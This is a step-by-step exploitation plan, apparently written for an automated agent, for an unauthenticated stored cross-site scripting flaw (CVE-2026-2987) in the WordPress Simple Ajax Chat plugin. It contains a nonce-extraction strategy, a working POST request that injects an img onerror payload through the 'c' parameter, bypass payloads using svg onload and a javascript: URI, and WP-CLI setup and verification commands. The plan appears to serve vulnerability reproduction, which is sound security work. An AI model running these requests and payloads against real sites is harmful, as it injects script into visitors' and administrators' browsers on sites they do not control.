Simple Ajax Chat <= 20260217 - Unauthenticated Stored Cross-Site Scripting via 'c'

This plan outlines the steps required to demonstrate an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the Simple Ajax Chat plugin (CVE-2026-2987).

1. Vulnerability Summary

The Simple Ajax Chat plugin fails to sanitize user-provided chat messages (parameter c) before storing them in the database and fails to escape them when displaying the chat history. An unauthenticated attacker can submit a chat message containing malicious JavaScript. When any user (including administrators) views the chat box, the payload executes in their browser.

The vulnerability resides in the interaction between the chat submission handler (likely sac_shout_post or similar) and the retrieval handler sac_getData in simple-ajax-chat.php, which echoes raw database content.

2. Attack Vector Analysis

• Endpoint: The site root index.php (or simple-ajax-chat-core.php) acting as an AJAX endpoint.
• Action Trigger: GET or POST parameters sacSendChat=yes (for injection) and sacGetChat=yes (for execution).
• Vulnerable Parameter: c (the chat message).
• Authentication: None required (unauthenticated).
• Preconditions: The chat box must be active on a page, and "Restrict chat to logged-in users" must be disabled (default).

3. Code Flow

1. Injection Path:
   • A POST request is sent to /?sacSendChat=yes.
   • simple-ajax-chat.php processes the request via an init hook.
   • $sac_user_text is assigned from $_POST['c'] (Line 50).
   • The message is inserted into the $wpdb->prefix . 'ajax_chat' table in the text column (Logic in sac_shout_post, inferred from sac_create_table at Line 147).
2. Execution Path:
   • A GET request is sent to /?sacGetChat=yes&sac_nonce_receive=[NONCE]&sac_lastID=0.
   • sac_getData($sac_lastID) is called via init hook (Line 185).
   • The function queries the database: SELECT * FROM ... ajax_chat WHERE id > ... (Line 167).
   • The message text is retrieved into $text (Line 174).
   • The text is concatenated into the $loop string without escaping: $loop = $id .'---'. $name .'---'. $text . ... (Line 177).
   • echo $loop; sends the raw payload to the browser (Line 183).
   • The plugin's JavaScript (resources/sac.php) receives the string and likely inserts it into the DOM using a method like .innerHTML.

4. Nonce Acquisition Strategy

The plugin uses nonces to protect both sending and receiving chat data. These must be obtained by visiting a page where the chat is rendered.

• Shortcode: [sac_chat]
• Execution Agent Strategy:
  1. Create a public page with the shortcode: wp post create --post_type=page --post_title="Chat" --post_status=publish --post_content='[sac_chat]'.
  2. Navigate to the new page using browser_navigate.
  3. Extract nonces using browser_eval.
• JS Variables/Selectors:
  • Send Nonce: document.getElementById('sac_nonce_send')?.value or check window.sac_lan?.sac_nonce_send.
  • Receive Nonce: document.getElementById('sac_nonce_receive')?.value or check window.sac_lan?.sac_nonce_receive.
  • Note: The nonce action names are sac_nonce_send and sac_nonce_receive.

5. Exploitation Strategy

Step 1: Obtain Nonces
Send a GET request via the browser to the page containing [sac_chat] and extract the nonces from the hidden input fields.

Step 2: Inject Payload
Send a POST request to submit the malicious chat.

• URL: http://<target>/index.php?sacSendChat=yes
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  n=Attacker&c=<img src=x onerror=alert(document.domain)>&u=http://example.com&sac_nonce_send=[EXTRACTED_SEND_NONCE]
  

Step 3: Verify Storage and Execution
Poll the chat data endpoint to confirm the payload is returned unescaped.

• URL: http://<target>/index.php?sacGetChat=yes&sac_nonce_receive=[EXTRACTED_RECEIVE_NONCE]&sac_lastID=0
• Expected Response: A string containing ---<img src=x onerror=alert(document.domain)>---.

6. Test Data Setup

1. Plugin Activation: Ensure simple-ajax-chat is active.
2. Configuration: Ensure "Restrict chat to logged-in users" is not checked in the SAC settings.
3. Page Creation:

   wp post create --post_type=page --post_title="Chat Room" --post_status=publish --post_content='[sac_chat]'
   

7. Expected Results

• The injection request should return a successful response (often the newly created chat ID or a partial string).
• The retrieval request (sacGetChat) will return the raw HTML <img> tag.
• In a real browser, the onerror event will trigger, executing alert(document.domain).

8. Verification Steps

After performing the HTTP requests, verify the database state using WP-CLI:

# Check the text column for the payload
wp db query "SELECT name, text FROM $(wp db prefix)ajax_chat ORDER BY id DESC LIMIT 1;"

Confirm the output shows the literal <img ...> string without HTML entity encoding.

9. Alternative Approaches

If the sac_nonce_send is not found in the HTML, check the enqueued JavaScript file resources/sac.php. Since this file is generated dynamically by PHP (Line 11), it may contain localized data or direct variable assignments. Use browser_eval("window") to inspect all global objects for properties containing "nonce".

If the payload <img ...> is blocked by a basic filter, try:

• c=<svg/onload=alert(1)>
• c=javascript:alert(1) (If the make_links function at resources/sac.php:203 processes the message body directly).